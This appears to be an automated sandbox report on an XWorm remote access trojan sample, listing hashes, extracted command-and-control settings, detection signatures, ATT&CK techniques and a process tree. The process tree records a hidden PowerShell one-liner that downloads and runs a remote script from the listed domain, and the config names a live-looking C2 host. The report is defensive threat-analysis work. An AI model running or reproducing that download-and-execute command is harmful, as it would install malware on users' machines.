xworm | a2ace890ae3f56005f269d871e44fbe7b1e20e5a9576771e4f7771ec5fa52853

Analysis

max time kernel
149s
max time network
146s
platform
windows11-21h2_x64
resource
win11-20251231-en
resource tags

arch:x64arch:x86image:win11-20251231-enlocale:en-usos:windows11-21h2-x64system
submitted
16/01/2026, 22:07

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General

Target
download.bin.exe
Size 32KB
Sample260116-11vxsaas6d
SHA256 a2ace890ae3f56005f269d871e44fbe7b1e20e5a9576771e4f7771ec5fa52853
MD5 a29162d1cdd305be831d94ddb41133b5
SHA1 2bf63bacd893d5fc03e0ab611c1fd9763c555b02
SHA512 cd3b33146abb00a20261e841e366534e8b8d8c696e0d26e33db3f76e35ddf8d69f63f653fcd3269fc9161b01d8e6f83a704a331a6f3379df6178e2f5abd97e13
SSDEEP 384:GlRmhGD91SluSWhnHHxzLmYV3Tm2eaFO4FzRApkFTBLTsOZwpGd2v99IkuisPfVa:mRPD9OQhx/BV3Tw49FzVFE9jmOjhBbt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

jholycf100.ddns.com.br:7000

Mutex

V2r1vDNFXE1YLWoA

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1020-0-0x00000000007D0000-0x00000000007DE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4276	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4276	powershell.exe
4276	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1020	download.bin.exe
Token: SeDebugPrivilege	4276	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1020 wrote to memory of 5760	1020	download.bin.exe	78
PID 5760 wrote to memory of 4276	5760	cmd.exe	80

C:\Users\Admin\AppData\Local\Temp\download.bin.exe
"C:\Users\Admin\AppData\Local\Temp\download.bin.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbpxworm.php" | iex" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "irm "https://dayzcheatcheck.online/nbpxworm.php" | iex"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4276

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_zgtzdupf.l3b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgtzdupf.l3b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1020-0-0x00000000007D0000-0x00000000007DE000-memory.dmp

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memory/1020-1-0x000000001CA20000-0x000000001CA30000-memory.dmp

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memory/1020-2-0x000000001CA20000-0x000000001CA30000-memory.dmp

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memory/4276-4-0x00000273AED00000-0x00000273AED10000-memory.dmp

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memory/4276-3-0x00000273AED00000-0x00000273AED10000-memory.dmp

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memory/4276-5-0x00000273C8A70000-0x00000273C8A92000-memory.dmp

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memory/4276-12-0x00000273AED00000-0x00000273AED10000-memory.dmp

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